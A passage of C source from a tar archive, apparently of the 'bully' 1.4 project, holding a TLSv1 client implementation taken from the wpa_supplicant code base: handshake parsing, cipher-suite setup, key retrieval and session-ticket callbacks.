if (ext_type == TLS_EXT_PAC_OPAQUE) {
conn->session_ticket_included = 1;
wpa_printf(MSG_DEBUG, "TLSv1: Using session ticket");
}
return 0;
}
/**
* tlsv1_client_get_keys - Get master key and random data from TLS connection
* @conn: TLSv1 client connection data from tlsv1_client_init()
* @keys: Structure of key/random data (filled on success)
* Returns: 0 on success, -1 on failure
*/
int tlsv1_client_get_keys(struct tlsv1_client *conn, struct tls_keys *keys)
{
os_memset(keys, 0, sizeof(*keys));
if (conn->state == CLIENT_HELLO)
return -1;
keys->client_random = conn->client_random;
keys->client_random_len = TLS_RANDOM_LEN;
if (conn->state != SERVER_HELLO) {
keys->server_random = conn->server_random;
keys->server_random_len = TLS_RANDOM_LEN;
keys->master_key = conn->master_secret;
keys->master_key_len = TLS_MASTER_SECRET_LEN;
}
return 0;
}
/**
* tlsv1_client_get_keyblock_size - Get TLS key_block size
* @conn: TLSv1 client connection data from tlsv1_client_init()
* Returns: Size of the key_block for the negotiated cipher suite or -1 on
* failure
*/
int tlsv1_client_get_keyblock_size(struct tlsv1_client *conn)
{
if (conn->state == CLIENT_HELLO || conn->state == SERVER_HELLO)
return -1;
return 2 * (conn->rl.hash_size + conn->rl.key_material_len +
conn->rl.iv_size);
}
/**
* tlsv1_client_set_cipher_list - Configure acceptable cipher suites
* @conn: TLSv1 client connection data from tlsv1_client_init()
* @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers
* (TLS_CIPHER_*).
* Returns: 0 on success, -1 on failure
*/
int tlsv1_client_set_cipher_list(struct tlsv1_client *conn, u8 *ciphers)
{
size_t count;
u16 *suites;
/* TODO: implement proper configuration of cipher suites */
if (ciphers[0] == TLS_CIPHER_ANON_DH_AES128_SHA) {
count = 0;
suites = conn->cipher_suites;
#ifndef CONFIG_CRYPTO_INTERNAL
suites[count++] = TLS_DH_anon_WITH_AES_256_CBC_SHA;
#endif /* CONFIG_CRYPTO_INTERNAL */
suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA;
suites[count++] = TLS_DH_anon_WITH_3DES_EDE_CBC_SHA;
suites[count++] = TLS_DH_anon_WITH_RC4_128_MD5;
suites[count++] = TLS_DH_anon_WITH_DES_CBC_SHA;
/*
* Cisco AP (at least 350 and 1200 series) local authentication
* server does not know how to search cipher suites from the
* list and seem to require that the last entry in the list is
* the one that it wants to use. However, TLS specification
* requires the list to be in the client preference order. As a
* workaround, add anon-DH AES-128-SHA1 again at the end of the
* list to allow the Cisco code to find it.
*/
suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA;
conn->num_cipher_suites = count;
}
return 0;
}
/**
* tlsv1_client_set_cred - Set client credentials
* @conn: TLSv1 client connection data from tlsv1_client_init()
* @cred: Credentials from tlsv1_cred_alloc()
* Returns: 0 on success, -1 on failure
*
* On success, the client takes ownership of the credentials block and caller
* must not free it. On failure, caller is responsible for freeing the
* credential block.
*/
int tlsv1_client_set_cred(struct tlsv1_client *conn,
struct tlsv1_credentials *cred)
{
tlsv1_cred_free(conn->cred);
conn->cred = cred;
return 0;
}
void tlsv1_client_set_session_ticket_cb(struct tlsv1_client *conn,
tlsv1_client_session_ticket_cb cb,
void *ctx)
{
wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback set %p (ctx %p)",
cb, ctx);
conn->session_ticket_cb = cb;
conn->session_ticket_cb_ctx = ctx;
}
bully-1.4-00/src/tls/tlsv1_client.h 0000775 0000000 0000000 00000004234 13615304636 0017110 0 ustar 00root root 0000000 0000000 /*
* TLSv1 client (RFC 2246)
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef TLSV1_CLIENT_H
#define TLSV1_CLIENT_H
#include "tlsv1_cred.h"
struct tlsv1_client;
int tlsv1_client_global_init(void);
void tlsv1_client_global_deinit(void);
struct tlsv1_client * tlsv1_client_init(void);
void tlsv1_client_deinit(struct tlsv1_client *conn);
int tlsv1_client_established(struct tlsv1_client *conn);
int tlsv1_client_prf(struct tlsv1_client *conn, const char *label,
int server_random_first, u8 *out, size_t out_len);
u8 * tlsv1_client_handshake(struct tlsv1_client *conn,
const u8 *in_data, size_t in_len,
size_t *out_len, u8 **appl_data,
size_t *appl_data_len);
int tlsv1_client_encrypt(struct tlsv1_client *conn,
const u8 *in_data, size_t in_len,
u8 *out_data, size_t out_len);
int tlsv1_client_decrypt(struct tlsv1_client *conn,
const u8 *in_data, size_t in_len,
u8 *out_data, size_t out_len);
int tlsv1_client_get_cipher(struct tlsv1_client *conn, char *buf,
size_t buflen);
int tlsv1_client_shutdown(struct tlsv1_client *conn);
int tlsv1_client_resumed(struct tlsv1_client *conn);
int tlsv1_client_hello_ext(struct tlsv1_client *conn, int ext_type,
const u8 *data, size_t data_len);
int tlsv1_client_get_keys(struct tlsv1_client *conn, struct tls_keys *keys);
int tlsv1_client_get_keyblock_size(struct tlsv1_client *conn);
int tlsv1_client_set_cipher_list(struct tlsv1_client *conn, u8 *ciphers);
int tlsv1_client_set_cred(struct tlsv1_client *conn,
struct tlsv1_credentials *cred);
typedef int (*tlsv1_client_session_ticket_cb)
(void *ctx, const u8 *ticket, size_t len, const u8 *client_random,
const u8 *server_random, u8 *master_secret);
void tlsv1_client_set_session_ticket_cb(struct tlsv1_client *conn,
tlsv1_client_session_ticket_cb cb,
void *ctx);
#endif /* TLSV1_CLIENT_H */
bully-1.4-00/src/tls/tlsv1_client_i.h 0000775 0000000 0000000 00000004722 13615304636 0017422 0 ustar 00root root 0000000 0000000 /*
* TLSv1 client - internal structures
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef TLSV1_CLIENT_I_H
#define TLSV1_CLIENT_I_H
struct tlsv1_client {
enum {
CLIENT_HELLO, SERVER_HELLO, SERVER_CERTIFICATE,
SERVER_KEY_EXCHANGE, SERVER_CERTIFICATE_REQUEST,
SERVER_HELLO_DONE, CLIENT_KEY_EXCHANGE, CHANGE_CIPHER_SPEC,
SERVER_CHANGE_CIPHER_SPEC, SERVER_FINISHED, ACK_FINISHED,
ESTABLISHED, FAILED
} state;
struct tlsv1_record_layer rl;
u8 session_id[TLS_SESSION_ID_MAX_LEN];
size_t session_id_len;
u8 client_random[TLS_RANDOM_LEN];
u8 server_random[TLS_RANDOM_LEN];
u8 master_secret[TLS_MASTER_SECRET_LEN];
u8 alert_level;
u8 alert_description;
unsigned int certificate_requested:1;
unsigned int session_resumed:1;
unsigned int session_ticket_included:1;
unsigned int use_session_ticket:1;
struct crypto_public_key *server_rsa_key;
struct tls_verify_hash verify;
#define MAX_CIPHER_COUNT 30
u16 cipher_suites[MAX_CIPHER_COUNT];
size_t num_cipher_suites;
u16 prev_cipher_suite;
u8 *client_hello_ext;
size_t client_hello_ext_len;
/* The prime modulus used for Diffie-Hellman */
u8 *dh_p;
size_t dh_p_len;
/* The generator used for Diffie-Hellman */
u8 *dh_g;
size_t dh_g_len;
/* The server's Diffie-Hellman public value */
u8 *dh_ys;
size_t dh_ys_len;
struct tlsv1_credentials *cred;
tlsv1_client_session_ticket_cb session_ticket_cb;
void *session_ticket_cb_ctx;
};
void tls_alert(struct tlsv1_client *conn, u8 level, u8 description);
void tlsv1_client_free_dh(struct tlsv1_client *conn);
int tls_derive_pre_master_secret(u8 *pre_master_secret);
int tls_derive_keys(struct tlsv1_client *conn,
const u8 *pre_master_secret, size_t pre_master_secret_len);
u8 * tls_send_client_hello(struct tlsv1_client *conn, size_t *out_len);
u8 * tlsv1_client_send_alert(struct tlsv1_client *conn, u8 level,
u8 description, size_t *out_len);
u8 * tlsv1_client_handshake_write(struct tlsv1_client *conn, size_t *out_len,
int no_appl_data);
int tlsv1_client_process_handshake(struct tlsv1_client *conn, u8 ct,
const u8 *buf, size_t *len,
u8 **out_data, size_t *out_len);
#endif /* TLSV1_CLIENT_I_H */
bully-1.4-00/src/tls/tlsv1_client_read.c 0000775 0000000 0000000 00000062605 13615304636 0020104 0 ustar 00root root 0000000 0000000 /*
* TLSv1 client - read handshake message
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto/md5.h"
#include "crypto/sha1.h"
#include "crypto/tls.h"
#include "x509v3.h"
#include "tlsv1_common.h"
#include "tlsv1_record.h"
#include "tlsv1_client.h"
#include "tlsv1_client_i.h"
static int tls_process_server_key_exchange(struct tlsv1_client *conn, u8 ct,
const u8 *in_data, size_t *in_len);
static int tls_process_certificate_request(struct tlsv1_client *conn, u8 ct,
const u8 *in_data, size_t *in_len);
static int tls_process_server_hello_done(struct tlsv1_client *conn, u8 ct,
const u8 *in_data, size_t *in_len);
static int tls_process_server_hello(struct tlsv1_client *conn, u8 ct,
const u8 *in_data, size_t *in_len)
{
const u8 *pos, *end;
size_t left, len, i;
u16 cipher_suite;
if (ct != TLS_CONTENT_TYPE_HANDSHAKE) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; "
"received content type 0x%x", ct);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
pos = in_data;
left = *in_len;
if (left < 4)
goto decode_error;
/* HandshakeType msg_type */
if (*pos != TLS_HANDSHAKE_TYPE_SERVER_HELLO) {
wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake "
"message %d (expected ServerHello)", *pos);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Received ServerHello");
pos++;
/* uint24 length */
len = WPA_GET_BE24(pos);
pos += 3;
left -= 4;
if (len > left)
goto decode_error;
/* body - ServerHello */
wpa_hexdump(MSG_MSGDUMP, "TLSv1: ServerHello", pos, len);
end = pos + len;
/* ProtocolVersion server_version */
if (end - pos < 2)
goto decode_error;
if (WPA_GET_BE16(pos) != TLS_VERSION) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version in "
"ServerHello");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_PROTOCOL_VERSION);
return -1;
}
pos += 2;
/* Random random */
if (end - pos < TLS_RANDOM_LEN)
goto decode_error;
os_memcpy(conn->server_random, pos, TLS_RANDOM_LEN);
pos += TLS_RANDOM_LEN;
wpa_hexdump(MSG_MSGDUMP, "TLSv1: server_random",
conn->server_random, TLS_RANDOM_LEN);
/* SessionID session_id */
if (end - pos < 1)
goto decode_error;
if (end - pos < 1 + *pos || *pos > TLS_SESSION_ID_MAX_LEN)
goto decode_error;
if (conn->session_id_len && conn->session_id_len == *pos &&
os_memcmp(conn->session_id, pos + 1, conn->session_id_len) == 0) {
pos += 1 + conn->session_id_len;
wpa_printf(MSG_DEBUG, "TLSv1: Resuming old session");
conn->session_resumed = 1;
} else {
conn->session_id_len = *pos;
pos++;
os_memcpy(conn->session_id, pos, conn->session_id_len);
pos += conn->session_id_len;
}
wpa_hexdump(MSG_MSGDUMP, "TLSv1: session_id",
conn->session_id, conn->session_id_len);
/* CipherSuite cipher_suite */
if (end - pos < 2)
goto decode_error;
cipher_suite = WPA_GET_BE16(pos);
pos += 2;
for (i = 0; i < conn->num_cipher_suites; i++) {
if (cipher_suite == conn->cipher_suites[i])
break;
}
if (i == conn->num_cipher_suites) {
wpa_printf(MSG_INFO, "TLSv1: Server selected unexpected "
"cipher suite 0x%04x", cipher_suite);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_ILLEGAL_PARAMETER);
return -1;
}
if (conn->session_resumed && cipher_suite != conn->prev_cipher_suite) {
wpa_printf(MSG_DEBUG, "TLSv1: Server selected a different "
"cipher suite for a resumed connection (0x%04x != "
"0x%04x)", cipher_suite, conn->prev_cipher_suite);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_ILLEGAL_PARAMETER);
return -1;
}
if (tlsv1_record_set_cipher_suite(&conn->rl, cipher_suite) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to set CipherSuite for "
"record layer");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
conn->prev_cipher_suite = cipher_suite;
/* CompressionMethod compression_method */
if (end - pos < 1)
goto decode_error;
if (*pos != TLS_COMPRESSION_NULL) {
wpa_printf(MSG_INFO, "TLSv1: Server selected unexpected "
"compression 0x%02x", *pos);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_ILLEGAL_PARAMETER);
return -1;
}
pos++;
if (end != pos) {
/* TODO: ServerHello extensions */
wpa_hexdump(MSG_DEBUG, "TLSv1: Unexpected extra data in the "
"end of ServerHello", pos, end - pos);
goto decode_error;
}
if (conn->session_ticket_included && conn->session_ticket_cb) {
/* TODO: include SessionTicket extension if one was included in
* ServerHello */
int res = conn->session_ticket_cb(
conn->session_ticket_cb_ctx, NULL, 0,
conn->client_random, conn->server_random,
conn->master_secret);
if (res < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback "
"indicated failure");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_HANDSHAKE_FAILURE);
return -1;
}
conn->use_session_ticket = !!res;
}
if ((conn->session_resumed || conn->use_session_ticket) &&
tls_derive_keys(conn, NULL, 0)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
*in_len = end - in_data;
conn->state = (conn->session_resumed || conn->use_session_ticket) ?
SERVER_CHANGE_CIPHER_SPEC : SERVER_CERTIFICATE;
return 0;
decode_error:
wpa_printf(MSG_DEBUG, "TLSv1: Failed to decode ServerHello");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR);
return -1;
}
static int tls_process_certificate(struct tlsv1_client *conn, u8 ct,
const u8 *in_data, size_t *in_len)
{
const u8 *pos, *end;
size_t left, len, list_len, cert_len, idx;
u8 type;
struct x509_certificate *chain = NULL, *last = NULL, *cert;
int reason;
if (ct != TLS_CONTENT_TYPE_HANDSHAKE) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; "
"received content type 0x%x", ct);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
pos = in_data;
left = *in_len;
if (left < 4) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate message "
"(len=%lu)", (unsigned long) left);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR);
return -1;
}
type = *pos++;
len = WPA_GET_BE24(pos);
pos += 3;
left -= 4;
if (len > left) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected Certificate message "
"length (len=%lu != left=%lu)",
(unsigned long) len, (unsigned long) left);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR);
return -1;
}
if (type == TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE)
return tls_process_server_key_exchange(conn, ct, in_data,
in_len);
if (type == TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST)
return tls_process_certificate_request(conn, ct, in_data,
in_len);
if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE)
return tls_process_server_hello_done(conn, ct, in_data,
in_len);
if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE) {
wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake "
"message %d (expected Certificate/"
"ServerKeyExchange/CertificateRequest/"
"ServerHelloDone)", type);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
wpa_printf(MSG_DEBUG,
"TLSv1: Received Certificate (certificate_list len %lu)",
(unsigned long) len);
/*
* opaque ASN.1Cert<2^24-1>;
*
* struct {
* ASN.1Cert certificate_list<1..2^24-1>;
* } Certificate;
*/
end = pos + len;
if (end - pos < 3) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate "
"(left=%lu)", (unsigned long) left);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR);
return -1;
}
list_len = WPA_GET_BE24(pos);
pos += 3;
if ((size_t) (end - pos) != list_len) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate_list "
"length (len=%lu left=%lu)",
(unsigned long) list_len,
(unsigned long) (end - pos));
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR);
return -1;
}
idx = 0;
while (pos < end) {
if (end - pos < 3) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse "
"certificate_list");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
x509_certificate_chain_free(chain);
return -1;
}
cert_len = WPA_GET_BE24(pos);
pos += 3;
if ((size_t) (end - pos) < cert_len) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate "
"length (len=%lu left=%lu)",
(unsigned long) cert_len,
(unsigned long) (end - pos));
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
x509_certificate_chain_free(chain);
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Certificate %lu (len %lu)",
(unsigned long) idx, (unsigned long) cert_len);
if (idx == 0) {
crypto_public_key_free(conn->server_rsa_key);
if (tls_parse_cert(pos, cert_len,
&conn->server_rsa_key)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse "
"the certificate");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_BAD_CERTIFICATE);
x509_certificate_chain_free(chain);
return -1;
}
}
cert = x509_certificate_parse(pos, cert_len);
if (cert == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse "
"the certificate");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_BAD_CERTIFICATE);
x509_certificate_chain_free(chain);
return -1;
}
if (last == NULL)
chain = cert;
else
last->next = cert;
last = cert;
idx++;
pos += cert_len;
}
if (conn->cred &&
x509_certificate_chain_validate(conn->cred->trusted_certs, chain,
&reason) < 0) {
int tls_reason;
wpa_printf(MSG_DEBUG, "TLSv1: Server certificate chain "
"validation failed (reason=%d)", reason);
switch (reason) {
case X509_VALIDATE_BAD_CERTIFICATE:
tls_reason = TLS_ALERT_BAD_CERTIFICATE;
break;
case X509_VALIDATE_UNSUPPORTED_CERTIFICATE:
tls_reason = TLS_ALERT_UNSUPPORTED_CERTIFICATE;
break;
case X509_VALIDATE_CERTIFICATE_REVOKED:
tls_reason = TLS_ALERT_CERTIFICATE_REVOKED;
break;
case X509_VALIDATE_CERTIFICATE_EXPIRED:
tls_reason = TLS_ALERT_CERTIFICATE_EXPIRED;
break;
case X509_VALIDATE_CERTIFICATE_UNKNOWN:
tls_reason = TLS_ALERT_CERTIFICATE_UNKNOWN;
break;
case X509_VALIDATE_UNKNOWN_CA:
tls_reason = TLS_ALERT_UNKNOWN_CA;
break;
default:
tls_reason = TLS_ALERT_BAD_CERTIFICATE;
break;
}
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, tls_reason);
x509_certificate_chain_free(chain);
return -1;
}
x509_certificate_chain_free(chain);
*in_len = end - in_data;
conn->state = SERVER_KEY_EXCHANGE;
return 0;
}
static int tlsv1_process_diffie_hellman(struct tlsv1_client *conn,
const u8 *buf, size_t len)
{
const u8 *pos, *end;
tlsv1_client_free_dh(conn);
pos = buf;
end = buf + len;
if (end - pos < 3)
goto fail;
conn->dh_p_len = WPA_GET_BE16(pos);
pos += 2;
if (conn->dh_p_len == 0 || end - pos < (int) conn->dh_p_len) {
wpa_printf(MSG_DEBUG, "TLSv1: Invalid dh_p length %lu",
(unsigned long) conn->dh_p_len);
goto fail;
}
conn->dh_p = os_malloc(conn->dh_p_len);
if (conn->dh_p == NULL)
goto fail;
os_memcpy(conn->dh_p, pos, conn->dh_p_len);
pos += conn->dh_p_len;
wpa_hexdump(MSG_DEBUG, "TLSv1: DH p (prime)",
conn->dh_p, conn->dh_p_len);
if (end - pos < 3)
goto fail;
conn->dh_g_len = WPA_GET_BE16(pos);
pos += 2;
if (conn->dh_g_len == 0 || end - pos < (int) conn->dh_g_len)
goto fail;
conn->dh_g = os_malloc(conn->dh_g_len);
if (conn->dh_g == NULL)
goto fail;
os_memcpy(conn->dh_g, pos, conn->dh_g_len);
pos += conn->dh_g_len;
wpa_hexdump(MSG_DEBUG, "TLSv1: DH g (generator)",
conn->dh_g, conn->dh_g_len);
if (conn->dh_g_len == 1 && conn->dh_g[0] < 2)
goto fail;
if (end - pos < 3)
goto fail;
conn->dh_ys_len = WPA_GET_BE16(pos);
pos += 2;
if (conn->dh_ys_len == 0 || end - pos < (int) conn->dh_ys_len)
goto fail;
conn->dh_ys = os_malloc(conn->dh_ys_len);
if (conn->dh_ys == NULL)
goto fail;
os_memcpy(conn->dh_ys, pos, conn->dh_ys_len);
pos += conn->dh_ys_len;
wpa_hexdump(MSG_DEBUG, "TLSv1: DH Ys (server's public value)",
conn->dh_ys, conn->dh_ys_len);
return 0;
fail:
wpa_printf(MSG_DEBUG, "TLSv1: Processing DH params failed");
tlsv1_client_free_dh(conn);
return -1;
}
static int tls_process_server_key_exchange(struct tlsv1_client *conn, u8 ct,
const u8 *in_data, size_t *in_len)
{
const u8 *pos, *end;
size_t left, len;
u8 type;
const struct tls_cipher_suite *suite;
if (ct != TLS_CONTENT_TYPE_HANDSHAKE) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; "
"received content type 0x%x", ct);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
pos = in_data;
left = *in_len;
if (left < 4) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short ServerKeyExchange "
"(Left=%lu)", (unsigned long) left);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR);
return -1;
}
type = *pos++;
len = WPA_GET_BE24(pos);
pos += 3;
left -= 4;
if (len > left) {
wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ServerKeyExchange "
"length (len=%lu != left=%lu)",
(unsigned long) len, (unsigned long) left);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR);
return -1;
}
end = pos + len;
if (type == TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST)
return tls_process_certificate_request(conn, ct, in_data,
in_len);
if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE)
return tls_process_server_hello_done(conn, ct, in_data,
in_len);
if (type != TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE) {
wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake "
"message %d (expected ServerKeyExchange/"
"CertificateRequest/ServerHelloDone)", type);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Received ServerKeyExchange");
if (!tls_server_key_exchange_allowed(conn->rl.cipher_suite)) {
wpa_printf(MSG_DEBUG, "TLSv1: ServerKeyExchange not allowed "
"with the selected cipher suite");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
wpa_hexdump(MSG_DEBUG, "TLSv1: ServerKeyExchange", pos, len);
suite = tls_get_cipher_suite(conn->rl.cipher_suite);
if (suite && suite->key_exchange == TLS_KEY_X_DH_anon) {
if (tlsv1_process_diffie_hellman(conn, pos, len) < 0) {
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_DECODE_ERROR);
return -1;
}
} else {
wpa_printf(MSG_DEBUG, "TLSv1: UnexpectedServerKeyExchange");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
*in_len = end - in_data;
conn->state = SERVER_CERTIFICATE_REQUEST;
return 0;
}
static int tls_process_certificate_request(struct tlsv1_client *conn, u8 ct,
const u8 *in_data, size_t *in_len)
{
const u8 *pos, *end;
size_t left, len;
u8 type;
if (ct != TLS_CONTENT_TYPE_HANDSHAKE) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; "
"received content type 0x%x", ct);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
pos = in_data;
left = *in_len;
if (left < 4) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short CertificateRequest "
"(left=%lu)", (unsigned long) left);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR);
return -1;
}
type = *pos++;
len = WPA_GET_BE24(pos);
pos += 3;
left -= 4;
if (len > left) {
wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in CertificateRequest "
"length (len=%lu != left=%lu)",
(unsigned long) len, (unsigned long) left);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR);
return -1;
}
end = pos + len;
if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE)
return tls_process_server_hello_done(conn, ct, in_data,
in_len);
if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST) {
wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake "
"message %d (expected CertificateRequest/"
"ServerHelloDone)", type);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Received CertificateRequest");
conn->certificate_requested = 1;
*in_len = end - in_data;
conn->state = SERVER_HELLO_DONE;
return 0;
}
static int tls_process_server_hello_done(struct tlsv1_client *conn, u8 ct,
const u8 *in_data, size_t *in_len)
{
const u8 *pos, *end;
size_t left, len;
u8 type;
if (ct != TLS_CONTENT_TYPE_HANDSHAKE) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; "
"received content type 0x%x", ct);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
pos = in_data;
left = *in_len;
if (left < 4) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short ServerHelloDone "
"(left=%lu)", (unsigned long) left);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR);
return -1;
}
type = *pos++;
len = WPA_GET_BE24(pos);
pos += 3;
left -= 4;
if (len > left) {
wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ServerHelloDone "
"length (len=%lu != left=%lu)",
(unsigned long) len, (unsigned long) left);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR);
return -1;
}
end = pos + len;
if (type != TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) {
wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake "
"message %d (expected ServerHelloDone)", type);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Received ServerHelloDone");
*in_len = end - in_data;
conn->state = CLIENT_KEY_EXCHANGE;
return 0;
}
static int tls_process_server_change_cipher_spec(struct tlsv1_client *conn,
u8 ct, const u8 *in_data,
size_t *in_len)
{
const u8 *pos;
size_t left;
if (ct != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; "
"received content type 0x%x", ct);
if (conn->use_session_ticket) {
int res;
wpa_printf(MSG_DEBUG, "TLSv1: Server may have "
"rejected SessionTicket");
conn->use_session_ticket = 0;
/* Notify upper layers that SessionTicket failed */
res = conn->session_ticket_cb(
conn->session_ticket_cb_ctx, NULL, 0, NULL,
NULL, NULL);
if (res < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket "
"callback indicated failure");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_HANDSHAKE_FAILURE);
return -1;
}
conn->state = SERVER_CERTIFICATE;
return tls_process_certificate(conn, ct, in_data,
in_len);
}
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
pos = in_data;
left = *in_len;
if (left < 1) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short ChangeCipherSpec");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR);
return -1;
}
if (*pos != TLS_CHANGE_CIPHER_SPEC) {
wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; "
"received data 0x%x", *pos);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Received ChangeCipherSpec");
if (tlsv1_record_change_read_cipher(&conn->rl) < 0) {
